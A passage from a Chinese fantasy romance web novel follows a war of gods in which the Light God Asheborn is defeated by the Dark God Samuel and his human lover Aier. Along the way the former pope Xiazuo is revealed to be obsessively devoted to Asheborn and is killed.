一向顺从的猎物忽然反抗,意识到自己被欺骗了, 神明动了杀心是必然的…… 翼族族长犹豫了一下, 还是下定了决心, “阁下,您利用神器躲一躲吧, 我们会为您保密的。” 虽然对方是人族,但比他们实力强,天赋是他们亲近的光系,身上也有翼族信仰的光明之主曾经的影子, 加上相处了这么多年, 再怎样也是有点感情在的,族长不想看到像夏佐阁下这样美好的生灵就此消失。 年轻翼族也勇敢地表示,如果神明寻了过来, 他们会说没有见过阁下的。 每天都会有从下界而来的信仰之力落在白发男人身上, 因为这件事, 翼族对他很有好感, 哦, 这一定是一位性格宽厚仁慈,充满正义的生灵! 因为光明神对诸神的迫害, 加上黑暗神封印了神域也是对光明神的反击,神域异族们嘴上不敢埋怨,心里都很反感强势虚伪的某位主神,也迁怒到了和祂有关联的存在身上。 所以以翼族为首的光明眷属,自神战时代以来便受到了其他神明眷属的排挤,而眷属们虔诚侍奉数万年的伟大神明,一意孤行,自私自利,从未留意到他们的失望,也从不在乎。 光系异族在其他异族的排挤下强撑着高傲,也越发冷漠,鲜少离开族地……其实已经有了点抑郁倾向。 直到夏佐阁下,这位光明神的凡界代行者成为新神进入了神域,他的气度和品德让异族们不由想起了‘光明礼赞’中的神明形象,所以夏佐很快便获得了光系异族的好感和尊重。 更何况他还带来了人族的故事书,教大家下棋,唱歌,绘画…… 他鼓励大家创作,发展自己的喜好,让死气沉沉的神域变得有意思了很多,幼崽们都更有活力了。 更重要的是,他拿出了好几件神明遗物送给了信仰这些神明的眷属,看在夏佐阁下的面子上,光系异族受到的排挤都没那么明显了。 这位新神有实力,有智慧,慷慨大度,完全是翼族欣赏的那一类,加上他们觉得欠了对方一个人情,才会下定决心向光明之主瞒下他的行踪。 神战之后,夏佐阁下并非第一个破界而来的新神,那几个人类都陨落于光明神之手,他们不想看到如此美好的生灵也落得这样的下场。 夏佐笑了笑,语速不急不缓,看起来半点不紧张,“诸位不必有太多隐瞒,如果惹怒了神明,牵连到你们,我会很愧疚的。” “若是你们见到了祂,请如实告诉祂见过我,只是不知道我的去向而已,请吾神多点耐心,等我准备好了,自然会出现在祂面前的。” 话音一落,温雅的男人便化作缕缕白光飘散开来,已经活了几千年的翼族族长竟也丝毫追寻不到他的行踪,不由感叹了一声人族可真是潜力无限啊,难怪法则偏爱他们…… 神域的气压越来越低,光线扭曲,温暖阳光也变得滚烫,但生灵的灵魂却冷得发颤。 他们清晰地感知到了遥远神殿中的可怕存在正在靠近,整个神域都安静了下来,躲藏在自己家里,没有谁愿意出现在神明面前触霉头。 当翼族看到金发金眸,身上带着浅淡光华的俊美神明时,提着的心终于放下了,有种果然如此的感觉。 族长行过礼后,仍然低着脑袋不敢看祂,“吾神,能见您一面,是翼族的毕生荣幸,您的仆人乐意为您效劳。” 亚希伯恩不耐道,“吾在寻找一个人类,你们可有看到光系天赋者?” 因为那个人淡定从容的模样,族长相信他是有底牌从光明神手中活下来的,便如他所愿并未隐瞒,“您说的一定是夏佐阁下,那位光明教廷的教皇,他已经来到神域很多年了。” “不过您一直在沉睡,他不愿打扰到您,便没有去神殿觐见。” 族长听到了一声短促的冷笑,顿了顿,将那个人的话转告给神明,“可惜夏佐阁下已经离开,我们也不知他去了哪里,不过他离开前曾说过一定会去神殿见您。” “既然您已经苏醒,想必他得到消息后,很快便会出现。” 说完之后,翼族便觉得在得不到神明回应的时间里度秒如年。 亚希伯恩眸光明灭不定,沉默之下似有海啸将至。 傲慢的神明显然忍受不了事情一件又一件脱离了祂的掌控,连强大如其祂神明都被自己轻易利用、抹杀了,区区人类,凭什么…… “咔嚓——”是什么碎裂的声音。 翼族闻声一抖,感受到强大的能量波动。 他们以为危险降临,条件反射地抬起头,看见了神明手持华美神杖,长发飘扬,面色冰冷,攻击落到了某处,有黑色纹路被激发显形。 神域的所有生灵都感受到了脚下的震颤。 —— 下界的冰川之中,塞缪尔纠结地看着恋人堆好的雪人,圆脑袋,圆滚身体,松垮到马上就要瘫软在地了,这怎么就是祂了? 拿两个黑色宝石当眼睛,用墨笔画了两道斜飞的黑眉,再把祂的剑拿去插在雪人身后,这就像祂了吗? 以前最是毒舌的神明大人抿了抿唇,倒是没说丑,“宝贝儿,是不是有点矮了?” 只有祂一半高,怎么还能说像祂呢?祂在恋人眼中是这幅又胖又矮的形象吗? 塞缪尔觉得用松软的雪堆不出来小伴侣的半分俊美,所以祂选择了刻冰雕。 祂第一次做这种东西,但架不住用剑的精确度太高,刷刷几下便刻出一尊与银发青年有八分相似的等人高冰雕。 艾尔左右摆头看了下两个作品,不服输道:“我这是堆的小时候的你,多可爱啊。” 塞缪尔:“……”祂小时候也没这么胖过。 神明认真点头,“确实很可爱,我要把它收藏起来。” 他的恋人已经那么完美了,审美上有一点点瑕疵又有什么关系呢,而且嘴硬的样子比胖雪人可爱多了。 被可爱到昏头的某神转头就亲了小伴侣一口。 沉迷于亲昵互动的塞缪尔忽然话音一顿,抬头看向了上空。 艾尔也注意到了异常,苍茫天空之中,有一条长缝骤然出现,让他想到了深渊和凡界的交界处。 长缝附近交杂着黑暗和光明元素,很快,黑暗被大片白光淹没。 凡界各族都留意到了这番异向,人类平民如今理智了很多,哦~这一定是两位强大的法师在打架吧,可惜离得太远,连个人影也看不到,没什么看头。 平民们低下头继续做自己的事,只有最悠闲的小孩儿看着天空一个劲儿的瞎喊。 比起平民的不在意,实力越强的人,就越轻松不起来,他们是能分辨危险程度的。 “神域被打开了啊……” 这声叹息在大陆很多个角落响起。 不需要塞缪尔提醒,艾尔也能看出上面正在发生什么。 光明神能打破封印这件事他并不觉得奇怪,既然伴侣当初能解开深渊的封印,相对应的,神域的封印当然也能被解开。 真正让他不理解的是,光明神为什么会拖到现在……啧,一定又是为了扩张信仰,祂总是执着于这一件事。 艾尔有些疑惑,“祂是想让天族掀起战争吗?” 物以类聚,性格暴躁直接点的异族选择了混乱的深渊,和善一点的异族都定居在神域,统称天族,他们强大,但并不好战,也不喜血腥,考虑到这一点,艾尔有些怀疑他刚才的猜测。 况且在人族普遍认知中,神域的生灵都是光明神的眷族,若被他们入侵,人族只会愤怒于神明没有管好祂的下属,怎么能获得更多信仰呢? 塞缪尔整个人慵懒地挂在小伴侣身上,看了一眼天空,欲欲跃试道:“想上去吗,一有天族出现,我们就截杀了他们。” 艾尔:“……”打地鼠呢? 大陆辽阔,鬼知道如果真的有麻烦会发生,会从哪里开始,所以艾尔选择待在原地,等着有人联系自己。 当晚便有人联络了他,比他想象中要快,艾尔轻啧一声,他想这次光明神一定是气急了,迫不及待的想找麻烦发泄火气。 “雷蒙?”青年有点意外,居然是深渊异族先来找他了,注意到恶魔背后的混乱场景,“你那边是打起来了吗?” “是的殿下,深渊这边突然出现了好多天族,这群疯子,他们一来就攻击了我们!哦,我没想到天族是这样的性格,跟古书上记载的完全不一样!” 恶魔嘴上骂着,脸上却兴致勃勃,显然觉得双方交战很有意思,“这次联络您,是想请您问一问伟大的深渊之主,我们是即刻进攻神域?还是吾神另有安排?” 艾尔:“……”怎么跟你们老大一个想法啊??! 作为唯一能拉住这些暴脾气的缰绳,艾尔当然是劝住了他们,“别冲动,我先过去和天族谈谈。”谈不拢再打个你死我活吧。 等青年迅速来到深渊封印处的时候,便看到魔族、天族,还有留守在这里的人族强者正在混战,三方都已经有了伤亡。 多看两眼,他才确认人族和魔族是统一阵营,正在反击来势汹汹的天族,呃……放在以前,谁能想到这画面呢? 正在艰难抵抗的人族强者们也颇为无语,妈的,他们居然会帮警惕了多年的魔族! 不是从古至今都在说天族和善,魔族残暴吗?现实怎么反过来了?!魔族在和他们交朋友,反倒是天族一来就挑衅袭击! 也不知道来的都是活了多少年的老怪物,人族强者完全处于劣势。 魔族那边打的很兴奋,像是他们才是主动搞事的一方,而真正挑起争端的一方和人族一样垮起张脸。 温暖白光落到身上,抚去了人和魔身上的所有伤痛和疲惫,魔族们满血复活打得更开心,其他人则聚拢到了银发青年身边,“教皇冕下。” 无数条游动的元素小蛇缠绕上打得激烈的两方,“友好一点,远道而来的客人们。” 被束缚住的魔族:哦~殿下现在好强,不愧是他们深渊之主挑选的神使! 天族则将仇恨不喜的目光对准了刚出现的人类,这里居然还有个神明级别的存在,而且……“光明教廷的人?” 艾尔点头承认,他敏锐地看出天族对他过浓的负面情绪,好像是因为他的身份? 有控雷的天族讽刺道,“你居然站在深渊异族那边,你信仰的神明会赞同这种事吗?” 青年温和说道,“我站在无辜的一方,我不能允许诸位在凡界开战,有什么深仇旧恨,请在神域或者都进深渊里解决。” 艾尔不远处的亡灵看了看被束缚起来的敌人们,再抬头看看神域裂缝那边密密麻麻的大军,撇撇嘴,“真是有病,你们在神域待太久被逼疯了吧,翼族那些家伙都没出现,轮得到你们来讨打?” 往上细数几百代,他们都是和光系异族互相看不过眼,有这些家伙什么事儿? 天族都露出憋屈的表情,艾尔看到好几个嘴巴张了又闭,像是想说什么又不能说。 神躯接近透明色的驭风族一员仇视地看着银发青年,“年轻人,在阻拦我们之前,你还是先问问伟大的光明神有什么指示。” 某些字眼说的特别阴阳怪气,艾尔听出来了,原来他们仇视的是光明神,自己只是被迁怒了。 从深渊裂缝闻讯出来的魔族越来越多,再往上看,发现局面不对正在赶来的天族也越来越多,若不阻止,这里很快就会出现两军对垒的画面。 人族在心里骂骂咧咧,交战的时间久了,战场一定会扩大到人类聚集地那边去,烦死了…… 他们抓紧时间联系了各势力的强者过来,希望能及时挡住战线。 看出天族有话不方便明说,艾尔自原地消失,白光化成的人影又出现在了遥远的上空。 漂亮青年挡住了刚才在观望的天族的去路,客气笑了一下,“各位,作为人族,我本不该管神域和深渊的恩怨,但是你们选择的战场危及到了无辜生灵,可以和我谈一下吗?” —— 光明神殿之中,恍若太阳化身的金发神明靠坐在神座,摩挲着许久没有拿出来用过的神杖,眉眼低沉阴鸷。 亚希伯恩不相信塞缪尔转性了,变得耐心、善良、顾全大局,这未免太可笑了! 那个家伙重新封印了深渊,让魔族低调行事,一定是祂还没有恢复到以前的实力,不想让教廷发现祂,不想让自己发现祂。 亚希伯恩之前没有理会神域的封印,一是祂被法则困在了这里,就不甘心其他低等生灵能来去自由。 二是祂不想看到其祂神明信徒去向人族宣扬些神战时代的事情。 但是如今祂管不了这么多了,既然塞缪尔不想让深渊卷入战争,亚希伯恩就偏不会让祂如愿! 光明神绝不想等到那个家伙顺利恢复到以前的实力! 祂召集了所有神域异族的强者,以他们族内的幼崽为威胁,让他们去挑起和深渊的战争,战场要扩大到人族聚集的地方。 亚希伯恩还是有点理智在的,没有把所有神域异族都派下去,祂留下了光系异族,也好让人类保留对光明的好感。 神明想起了塞缪尔曾经的傲慢,对祂的不屑一顾,又想到了祂居然错过了那家伙转世后弱小不堪的时候,不由心生遗憾—— 多想看看塞缪尔不甘心的在祂手里挣扎求生是什么样子啊…… 金眸骤然一凛,亚希伯恩看向了神殿冰冷坚固的顶部。 祂闪身出现在了神殿上空,果然看到了熟悉的身影正拎着剑站在了圆顶之上。 男人黑发束起,穿着一身在亚希伯恩看来简陋至极的立领衬衫长裤,深邃的眉眼慵懒,随意地看着神殿主人,就像不是来找事的,而是路过了某个普通的地方,偶遇了一个普通的路人。 光明之主被老朋友的随意惹怒,祂冷笑着扫了一眼对方手里的剑,“你还是喜欢玩这些粗鲁的东西。” “这么久了,你怎么还是没有一点长进?” 塞缪尔的语气倒是随和很多,就差打个哈欠了。 不得不说自从谈了恋爱,祂心情愉悦到看很多东西都顺眼了,若不是亚希伯恩没事就刷一下存在感惹祂小伴侣心烦,塞缪尔根本就懒得搭理这家伙。 “哈…你现在是人类。”金发神明眯了眯眼,“那就看看新生的你长进了多少。” 塞缪尔毕竟也突破了剑神法神的境阶,又有神格在身,作战经验比亚希伯恩多了不知道多少,祂没有以前那般无坚不摧的体魄,也丝毫不落下风。 艾尔感应着恋人的方位找过来时,眼前的建筑已经被暴力摧毁了。 他隐藏了身形快速游走过偌大的神殿,确认了这里没有任何异族幼崽,连个神仆都没有,像是神殿的主人认为低等生灵没有资格留在祂的地盘。 战斗不会波及到无辜就好。 “啧,躲什么,费那么大劲保留下来的先天神躯,不会被我一剑斩灭吧?” 亚希伯恩每次听到对方说话,心中的厌恶和烦躁就会再多一层,可那把剑是父神赐予塞缪尔的礼物,祂可不想赌神剑的威力。 怎么会这么快……明明转世成了最弱小的人族,祂怎么能如此得快、如此顺利地成长起来! 教廷那帮废物! 怒急攻心的神明没有留意到一道细小的光箭夹杂在漫天的光明元素和魔法中,朝祂逆行而来,穿透了心脏,流出金色的血液。 还有谁能比光明之主更擅长治愈术,亚希伯恩甚至什么都没做,神躯便自行修复了那点小小的穿透伤。 祂看着某片白茫茫的空间,闪身便出现在了那里,神杖以迅雷不及掩耳之势刺向一片空气,却落了空。 隐藏在那里的人及时避开,现身于神杖旁边顺手抓住了它,另一手刺出了一把剑。 亚希伯恩不喜近身作战,艾尔也不喜离危险存在太近,两者都迅速远离对方。 光明神看见他和塞缪尔同时接近了彼此,祂眯了眯眼,“吾的教皇,你是被邪恶的黑暗魔法控制了吗?” 塞缪尔恶趣味地扯出一抹笑,抚上了银发青年的心脏位置,“没错,他已经被我蛊惑,身心,包括他的灵魂,都是属于我的了~” 正摆着一张严肃脸的艾尔没忍住抽了抽嘴角。 人类的灵魂已经被浓厚的信仰之力染成了纯白色,亚希伯恩看不清他被塞缪尔暗中定下了什么不平等契约,祂也不在乎,亚希伯恩只要这一身信仰来到祂面前就好。 真是个备受生灵喜爱的孩子啊……他身上的信仰之力,甚至比很多神明都要多。 也是个非常有天赋的孩子,居然能从祂手中抢走元素的控制权……亚希伯恩在两人的围攻下缓缓皱眉。 “哇哦~你们怎么把神殿给毁成这样,留着让我看一眼,长长见识呗。” 有道粗狂的声音越来越近,听得神殿主人额角一跳,祂闻声看去,有陌生人类正御剑而来,还有几个人类法师,以及……恶心的深渊异族。 来者都是已经有次神实力,或者早就破阶成神,只是一直低调生活的强者。 其中以深渊异族最多,毕竟都是天赋者,还是长寿种,再怎么样也能凑出一些次神。 只是他们以前因为太无聊了让自己陷入沉眠,否则哪儿轮得到汉克、安妮塔这些法神来管事。 多出来的生灵对亚希伯恩造不成威胁,否则祂早就被打上门了,但他们与塞缪尔站在同一阵营,而自己却单打独斗的局面让祂非常气愤! 为什么总是这样?! 明明自己才是光明,是温暖美好的象征,塞缪尔是冷漠暴戾的黑暗,但父神却更偏心塞缪尔,甚至赞美祂有一个干净通透的灵魂。 明明塞缪尔傲慢到从来不屑和低等生灵有联系,还是有一大批强大而忠实的追随者。 明明祂更友善,其祂强大的主神还是更喜欢和塞缪尔交流。 明明古神都是对世界发展的威胁,法则却同意了让塞缪尔带着神格转世…… 太多的攻击和声音扰乱了光明神的思绪,祂的大部分注意力都放在了最厌恶的存在身上,都说吃一堑长一智,但亚希伯恩显然没有听过这句话,所以…… 神明金眸骤然一缩,捂住了不知为何会剧烈疼痛的心脏。 太疼了…… 不需要吃苦受累,天生便有灭世神力、又鲜少遭遇劲敌的光明之主从未感受过如此疼痛! 治愈术没有用,祂能感受到神躯在修复和破损间反反复复,前所未有的疼痛终于让祂开始慌了,也让祂的脑子从万千思绪中清醒过来,目光狠狠剐向刚才伤过祂心脏的银发青年。 艾尔挑眉,只是尝试一下,没想到这招真的有用,伤害还这么大。 他看向了刚刚赶来的精灵王,心里默默道了一声,合作愉快。 塞缪尔又回到了小伴侣身边,“偷偷做了什么好事?” 青年瞪了祂一眼,“还不抓紧机会打祂,瞎聊什么呢?” 哎~宝贝儿真是太严肃了,某个妻管严无奈地叹息一声,去趁人之危追着光明神打了。 其实艾尔只是在光箭中夹杂了一点孢子——取自深渊的暗系魔植,有腐蚀性的剧毒蘑菇。 然后等好朋友精灵王到了之后,让他不断催生孢子繁殖就行了。 又不是无形的诅咒,蘑菇可是实体,就算被净化了,消解了,还是会有残留物附着在神明的心脏里。 眼看刚才还俊美耀眼的神明,此刻表情扭曲到恨不得掏出自己的心脏,艾尔想象了一下祂胸腔里是什么模样,不由“嘶”了一声,被自己脑补的画面吓到了。 满心满眼都只有一个敌人的时候,很容易忽略隐藏的危险,光明神是如此,与祂敌对的另一方也是如此。 众人隐约听见了海浪声,还有美妙至极的吟唱声,让人紧绷的精神和身体不由放松了下来,甚至产生了几分困意…… 有人突然嘟囔着,“咦~我的海螺?” 作为寥寥几个不受影响的人,海蓝色长发的妖异男人忽然凝出一片水箭攻击向某处。 残落的花墙中,有一朵神光花忽然白光一闪,化成了人形。 已经恢复了点记忆的前自然女神,现精灵王不满地皱眉,“我的木镯怎么在你手里?” 那是一件能让生灵变成植物,气息全无,完美隐藏自己的辅助器具,虽然并不是他特别喜爱的藏品,但也不想让自己的东西落到乱七八糟的人手上。 夏佐一现身,立即吸走了塞缪尔所有的注意力——这个该死的人类,他终于出现了! 白发男人叹息一声,没想到神器的主人也在这里,他也分不清这里究竟有多少神明转世,但神器的效果肯定会大打折扣了。 艾尔拦住了正一心想为他报仇的恋人,他歪了歪头,好奇问道:“冕下,您是站在光明神的那边吗,即便以您的头脑,非常清楚祂只想杀了你我,掠夺我们体内的信仰,也没有改变您的想法?” 夏佐看着他狼狈的神明,眼中有温柔,有无奈,“是,我一直都想站在光明身边的。” 就在亚希伯恩以为祂的教皇依旧虔诚的时候,又见那人看向祂,走向祂,问道,“吾神,您愿意舍弃了神躯和神格,转世开始新的人生吗?” 他温柔语气中带着期许,“不必害怕,夏佐一定会保护好您,认真抚养您长大,蜕变成一个完美的新神。” 亚希伯恩:“?” 艾尔:“……?” 其他人和异族:“???” 哪里来的神经病! 个别只专注于提升实力,不屑于情爱的强者完全看不懂这是什么局面。 夏佐看着神明紧皱的眉头,劝说道:“您已经迷失了自己,变得不完美了,请相信我对您的虔诚,我一定会让您回到诞生之初那样美好的样子……” 他幼时只是一个肮脏愚笨的流浪儿,被好心的神官免费帮他检测了天赋,从此便颠覆了人生,为强大的,仁慈的光明之主效忠,是他生命中的全部意义。 他在被神明选为圣子的时候,激动到恨不得马上为神明献出灵魂,献出一切! 哦,吾神说了希望他能早日去往神域,原来祂也在期待着自己! 后来,夏佐又在宝库之中偶然注意到一件能留影的神明遗物,然后看见了更生动真实的光明之主,天呐…祂是多么耀眼啊…… 年轻人的心脏怦怦直跳,很长一段时间,他每天都会想起神明的脸和声音。 等他实力越强,走过的地方越多,接触到的隐秘也越多,聪明的夏佐逐渐意识到了他崇敬的神明究竟是什么样的性格…… 但是那位神明早就成了夏佐人生中的全部意义,若是不再追逐着祂的身影,夏佐就仿佛失去了灵魂,可他又担心和神明接触越多,失望也越多…… 对了!那就变强吧,变得比他信仰的神更强,然后把神明变成他想象中的样子,变成教廷一直对信众宣扬的模样,圣洁、仁慈、深具智慧、高高在上……然后他会永远侍奉在神明身边,他会拥有一直期待的、幸福的未来! 夏佐的思维变得扭曲后,也变得冷漠了很多,他不喜欢有的候选人装着神明的神态,这是对他的神明的侮辱,所以夏佐杀了他们,比如丹尼尔。 他曾想掠夺别人体内的信仰之力,也会杀了候选人做尝试。 等教廷发生了这种麻烦事之后,他还可以找理由召请他的神明说一会儿话,可惜神明太过冷漠,总是说不上几句。 今日,向来强大的神明难得落于下风,夏佐万分希望祂能答应自己的请求,然后他们两个一起逃出去。 他真的,真的很想和传说中的光明之主在一起,他会努力把转世后的神明养成自己喜欢的模样…… 看着表情莫名狂热的白发男子,曾经和夏佐接触最多的艾尔和克列维奇院长懵得彻底——艹!完全没看出来你居然是这样的教皇! 这可真敢想啊。 再看亚希伯恩,听着“虔诚”的信徒形容他想象中的光明之主,祂的脸色比刚才落于下风的时候还要黑! 亚希伯恩怎么会容忍一个卑贱的蝼蚁对祂产生这种心思,当即就无视了塞缪尔这个一生之敌,对温柔看祂的男人发起攻击。 艾尔一时觉得这两个人的电影,他们这些外人不该过去打搅,啊……如果光明神死了,也不知道是被气死的还是受伤太重的缘故。 塞缪尔除了杀死这个人类为小伴侣报仇之外,什么都没想,祂甚至可以算是与光明神合作了一把。 其他人犹豫了一小下,两个敌人,还是先齐心搞死一个吧,剩下那个慢慢磨。 双拳难敌四手,更何况最想杀死夏佐的是两个强大的神明,即便有数百件神器相助,他最终也败下阵来。 被追寻了一生的神明所排斥厌恶,还被讽刺,男人不复以往的温雅,表情逐渐扭曲。 被塞缪尔的神剑劈成两截时,他白发凌乱,眼睛死死盯着狼狈的金发神明,嘴角勾起一抹带血的笑容,“我…等你,我的神明……” 亚希伯恩冷笑一声,挥手之间便让他尸骨无存,正要拿走夏佐的信仰之力时,那片白色忽然有种拉扯感传来,让祂无法顺利吸收信仰,与此同时,接连而来的攻击妨碍了祂的夺取。 艾尔捡漏拿走了无主的信仰之力,虽然他现在不是很在意这种东西了,但是敌人想要的,他就不想给。 亚希伯恩被强势的死敌步步紧逼。 祂本就难以匹敌塞缪尔,更何况水神的转世在操控祂的血液,就连那些卑贱的人类和魔族也在见缝插针地扰乱祂的攻击。 心脏处的负担越来越大,有什么东西将要破开祂的胸膛而出…… 神域之下,部分地域的生灵新奇地看着天上五光十色的异象,一个劲儿的夸好看。 等异象消失后,他们便揉了揉发酸的脖子,边和旁人畅想刚才是发生了什么,边继续做自己的事情,度过了平淡又有点精彩的一天。 古神一死,法则迅速吸收了神躯和神格的力量,亚希伯恩最后连一根头发丝儿都没留下。 结束一场战斗的人族大佬们伸伸懒腰,“啊~这下凡界能清静了。” 还以为是场九死一生的战斗呢,结果不知道从哪里蹦出个黑暗神更甚敌人一筹,还有光系神明一直在给他们回血,大家都活下来了,这可真是一件大好事啊。 并肩作战一场,各族的大佬们开始互相交流,介绍自己,交个朋友,顺便吐槽一下光明神给他们造成了什么麻烦。 塞缪尔打完架就去小伴侣身边,圈住他的肩膀挂在他身上了,整个人都舒服地放松下来了,还半撒娇似的嘟囔一句,“好累。” 银发青年习惯性地偏头吻了吻伴侣的脸,安抚着祂,“辛苦了,我们回你的神殿歇一会儿。” 至于还在等待结果的神域异族,相信院长他们会沟通好的。 周围忽然安静了下来,艾尔转头,就看到他俩被几十双眼睛注视了。 塞缪尔慵懒地瞥了他们一眼,“看什么?没和自己的恋人抱过吗?” 祂语气一顿,转而眼角眉梢带着些许得意道:“啊……抱歉,忘记了你们都没有恋人。” 看着同伴们或震惊或惊悚的表情,艾尔抿了抿唇,“咳,惊不惊喜,意不意外?” 光明教皇,和黑暗之主?回想起刚才得知的前任教皇的感情,众人只觉得——啊,懂了,我们不够强,是因为没有经历过刺激的爱情哈哈哈哈哈哈! 塞缪尔才不管这群石化的家伙,祂自顾自搂着小伴侣回家睡了美美的一觉。啊,今天也是甜蜜的一天呢,就如同往后的无数个日子一样~